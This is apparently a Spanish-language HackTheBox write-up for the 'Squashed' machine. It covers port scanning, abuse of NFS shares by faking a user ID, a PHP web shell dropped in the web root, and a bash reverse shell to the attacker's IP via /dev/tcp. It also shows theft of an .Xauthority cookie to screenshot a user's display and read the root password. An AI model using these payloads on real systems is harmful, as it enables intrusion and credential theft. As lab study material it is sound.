Máquinas/CTF

Máquina resuelta


1. Comprobación del sistema operativo

python whichsystem.py 10.10.11.191

Tiene como salida:

10.10.11.191 (ttl -> 63): Linux

 

2. Descubrimiento de puertos y servicios

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.191

Obtenemos el siguiente resultado:

PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
80/tcp    open  http    syn-ack ttl 63
111/tcp   open  rpcbind syn-ack ttl 63
2049/tcp  open  nfs     syn-ack ttl 63
33293/tcp open  unknown syn-ack ttl 63
40787/tcp open  unknown syn-ack ttl 63
41163/tcp open  unknown syn-ack ttl 63
57919/tcp open  unknown syn-ack ttl 63

 

3. Comprobamos servicios y lanzamos scripts principales contra dichos puertos

nmap -sCV -p22,80,111,2049,33293,40787,41163,57919 10.10.11.191

Observamos que nos devuelve la siguiente salida:

22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      33800/udp   mountd
|   100005  1,2,3      41163/tcp   mountd
|   100005  1,2,3      50755/tcp6  mountd
|   100005  1,2,3      60013/udp6  mountd
|   100021  1,3,4      33032/udp   nlockmgr
|   100021  1,3,4      40113/tcp6  nlockmgr
|   100021  1,3,4      40418/udp6  nlockmgr
|   100021  1,3,4      40787/tcp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
33293/tcp open  mountd   1-3 (RPC #100005)
40787/tcp open  nlockmgr 1-4 (RPC #100021)
41163/tcp open  mountd   1-3 (RPC #100005)
57919/tcp open  mountd   1-3 (RPC #100005)

 

3. Recorremos la página web

Luego de recorre la página web, no observamos nada interesante, por lo que lanzamos un fuzzing a la web mediante la herramienta gobuster:

gobuster dir -u 10.10.11.191:80 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Pero como observamos en la siguiente salida, no obtenemos nada destacable:

===============================================================
/images               (Status: 301) [Size: 313] [--> http://10.10.11.191/images/]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.191/css/]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.191/js/]
/server-status        (Status: 403) [Size: 277]

 

4. Servicio rpcbind

Si volvemos a observar la salida de la herramienta nmap vemos que la máquina hace uso del servicio rpcbind. Podemos por ejemplo ejecutar la siguiente consulta para observar los servicios que este tiene disponible (aunque ya nos lo lista el propio nmap):

rpcinfo -p 10.10.11.191

Obteniendo la siguiente salida:

program vers proto   port  service
100000    4   tcp    111  portmapper
100000    3   tcp    111  portmapper
100000    2   tcp    111  portmapper
100000    4   udp    111  portmapper
100000    3   udp    111  portmapper
100000    2   udp    111  portmapper
100005    1   udp  34351  mountd
100005    1   tcp  57919  mountd
100005    2   udp  58284  mountd
100005    2   tcp  33293  mountd
100005    3   udp  33800  mountd
100005    3   tcp  41163  mountd
100003    3   tcp   2049  nfs
100003    4   tcp   2049  nfs
100227    3   tcp   2049  nfs_acl
100003    3   udp   2049  nfs
100227    3   udp   2049  nfs_acl
100021    1   udp  33032  nlockmgr
100021    3   udp  33032  nlockmgr
100021    4   udp  33032  nlockmgr
100021    1   tcp  40787  nlockmgr
100021    3   tcp  40787  nlockmgr
100021    4   tcp  40787  nlockmgr

Si descargamos el paquene nfs-utils (en arch), podemos ejectar el comando showmount para ver los directorios que hay disponibles para ser montados:

showmount -e 10.10.11.191

Y observamos nos devuelve los siguientes:

/home/ross    *
/var/www/html *

Por lo que intentamos montar el directorio /home/ross, con el siguiente comando:

sudo mount -t nfs 10.10.11.191:/home/ross /home/juan/HackTheBox/maquinas/squashed/test

Y observamos el siguiente contenido

ls 
	
	Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos

En dichos directorios solo nos encontramos con un arhivo .kdbx (es decir de Keepass), llamado Passwords.kdbx.

 

5. Montado de la otra carpeta

Intentamos montar la otra carpeta (/var/www/html), mediante el siguiente comando:

sudo mount -t nfs 10.10.11.191:/var/www/html /home/juan/HackTheBox/maquinas/squashed/test

Si queremos acceder a ella observamos como no podemos, porque el propietario es el siguiente:

drwxr-xr-- 5 2017 http 4096 mar  1 12:15 test

Por lo que procedemos a hacer los siguientes pasos:

  1. Creamos un nuevo usuario llamado dummy:

    sudo useradd dummy
    
  2. Accedemos como este nuevo usuario:

    sudo su dummy
    
  3. Observamos que tiene el siguiente id:

    id
    
    	uid=4036(dummy) gid=4036(dummy) grupos=4036(dummy)
    
  4. Cambiamos el uid del usuario dummy

    sudo usermod -u 2017 dummy
    
    	uid=2017(dummy) gid=4036(dummy) grupos=4036(dummy)
    
  5. Ya podemos acceder a la carpeta montada y ver su contenido

    css  images  index.html  js
    

    Este parece el directorio del sitio web que se está mostrando en la página web. Podemos crear un nuevo archivo .html para comprobar si es posible acceder a el:

    echo "Hola" > test.html
    

    Observamos como que si nos dirigimos al endpoint http://10.10.11.191/test.html somos capaces de obtener el mensaje de Hola.

 

6. Explotación

Se nos ocurre entonces crear una especie de shell en un archivo con extensión .php. Para ello ejecutamos

echo -e '<?php\n  system($_REQUEST['cmd']);\n?>' > test.php

Por que si ahora hacemos por ejemplo la siguiente peticion http://10.10.11.191/test.php?cmd=id, obtenemos lo siguiente

uid=2017(alex) gid=2017(alex) groups=2017(alex) 

Podemos entonces crear una revershell aprovechando esto, ejecutando para ello la siguiente petición:

http://10.10.11.191/test.php?cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.93/1234 0>&1'

A mayores, debemos establecer un servicio netcat escuchando:

nc -lvp 1234

Pero observamos que esto no funciona. Esto es puede ser debido a que debemos codificar la url de la petición, por lo que realizamos la siguiente:

http://10.10.11.191/test.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.93%2F1234%200%3E%261%27

En este caso si que nos funciona y por lo tanto obtenemos acceso a una shell a través del usuario alex.

 

7. Flag de usuario

Somos capaces de obtener la flag de usuario -> e13eed60e2b2857bf4f0a3000f538cb4

 

8. Escalada de privilegios

Investigando por la carpeta del usuario Alex, encontramos el archivo .Xauthority. Este archivo se utiliza como cookie para conectarse a través de otras shells. Por lo que procedemos a ver las tty o shells activas con:

# w

	USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
	ross     tty7     :0               05:13   12:08m  1:02   0.06s /usr/libexec/gn

Podemos intentar comprobar si tenemos conexión con la tty a través de los siguientes comandos:

# xdpyinfo -display :0   

	No protocol specified
	xdpyinfo:  unable to open display ":0".

# xwininfo -root -tree -display :0  

	No protocol specified
	xwininfo: error: unable to open display ":0"

Por lo que para este caso no nos sirve dicho .Xauthority.

 

9. Escalada de privilegios 2

Si volvemos a montar el archivo nfs, comentado en uno de los puntos anteriores (el directorio /home/ross):

sudo mount -t nfs 10.10.11.191:/home/ross /home/juan/HackTheBox/maquinas/squashed/ross

Si observamos los archivos ocultos, vemos que existe otro .Xauthority.

drwxr-xr-x  4 juan juan 4096 mar  1 22:27 ..
-rw-------  1 1001 1001   57 mar  1 06:13 .Xauthority
drwx------ 11 1001 1001 4096 oct 21 16:57 .cache
drwx------ 12 1001 1001 4096 oct 21 16:57 .config
drwx------  3 1001 1001 4096 oct 21 16:57 .gnupg
drwx------  3 1001 1001 4096 oct 21 16:57 .local
lrwxrwxrwx  1 root root    9 oct 21 15:07 .viminfo -> /dev/null
lrwxrwxrwx  1 root root    9 oct 20 15:24 .bash_history -> /dev/null
-rw-------  1 1001 1001 2475 mar  1 06:13 .xsession-errors
-rw-------  1 1001 1001 2475 dic 27 16:33 .xsession-errors.old
drwxr-xr-x  2 1001 1001 4096 oct 21 16:57 Desktop
drwxr-xr-x  2 1001 1001 4096 oct 21 16:57 Documents
drwxr-xr-x  2 1001 1001 4096 oct 21 16:57 Downloads
drwxr-xr-x  2 1001 1001 4096 oct 21 16:57 Music
drwxr-xr-x  2 1001 1001 4096 oct 21 16:57 Pictures
drwxr-xr-x  2 1001 1001 4096 oct 21 16:57 Public
drwxr-xr-x  2 1001 1001 4096 oct 21 16:57 Templates
drwxr-xr-x  2 1001 1001 4096 oct 21 16:57 Videos

Antes de enviarlo deberemos de crear un usario que tenga el uid 1001, para que pueda utilizar dicho .Xauthority.

# sudo useradd test

# sudo usermod -u 1001 test

# sudo su test

Por lo que mediante un servidor creado por nosotros, enviamos el archivo a la máquina objetivo:

# sudo python -m http.server 8000

% curl http://10.10.14.93:8000/.Xauthority -o /tmp/.Xauthority

 

10. Conexión con tty

Podemos probar ahora a realizar la conexion a la tty, empleando para ello el nuevo archivo .Xauthority. Para ello ejecutamos el siguiente comando:

XAUTHORITY=/tmp/.Xauthority xdpyinfo -display :0

Podemos entonces capturar la pantalla del tty, mediante el siguiente comando:

XAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/cap.xwd

Podemos pasar este archivo a nuestra máquina local, y mediante el paquete imagemagick, para Archlinux, realizamos al conversión al formato png.

convert cap.xwd cap.png

Observando como somos capaces de ver la contraseña del usuario root : cah$mei7rai9A. Por lo que mediante su - somos capaces de acceder como usuario root.

 

11. Flag de root

Somos entonces capaces de obtener el flag del usuario root -> 5b73cb3cf68b019d27094abb7f16c231